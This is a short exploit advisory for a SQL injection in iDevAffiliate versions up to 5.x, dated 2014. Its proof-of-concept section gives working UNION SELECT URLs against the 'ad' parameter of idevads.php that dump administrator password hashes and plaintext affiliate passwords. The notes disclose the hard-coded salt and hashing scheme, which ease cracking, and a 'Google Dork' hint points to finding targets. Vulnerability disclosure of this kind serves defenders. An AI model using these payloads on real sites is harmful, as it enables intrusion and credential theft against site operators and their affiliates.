# Exploit Title: iDevAffiliate <= v5.x SQL Injection Vulnerability
# Google Dork: Use your head
# Date: 4/21/2014
# Vendor Homepage: http://www.idevdirect.com/
# Version: <= v5.x
# Author: Robert Cooper (robert.cooper[at]areyousecure.net)
# Tested on: [Linux/Windows]

#Vulnerable Parameter: ad=

##############################################################
      PoC:

http://127.0.0.1/idevaffiliate/idevads.php?id=6&ad=2

http://127.0.0.1/idevaffiliate/idevads.php?id=6&ad=-2 UNION ALL SELECT 1,2,3,group_concat(adminid,0x3a,adminpass),5,6 FROM idevaff_admin

http://127.0.0.1/idevaffiliate/idevads.php?id=6&ad=-2 UNION ALL SELECT 1,2,3,group_concat(username,0x3a,password),5,6 FROM idevaff_affiliates4

##############################################################

#Notes:

The admin passwords are hashed via sha1($salt.$pass)
The salt used is "idev_secret" (Without quotes)

The affiliate passwords are in plain text

For comments/questions or if you'd like your website security audited, email me @ Robert.Cooper[at]areyousecure.net

http://www.areyousecure.net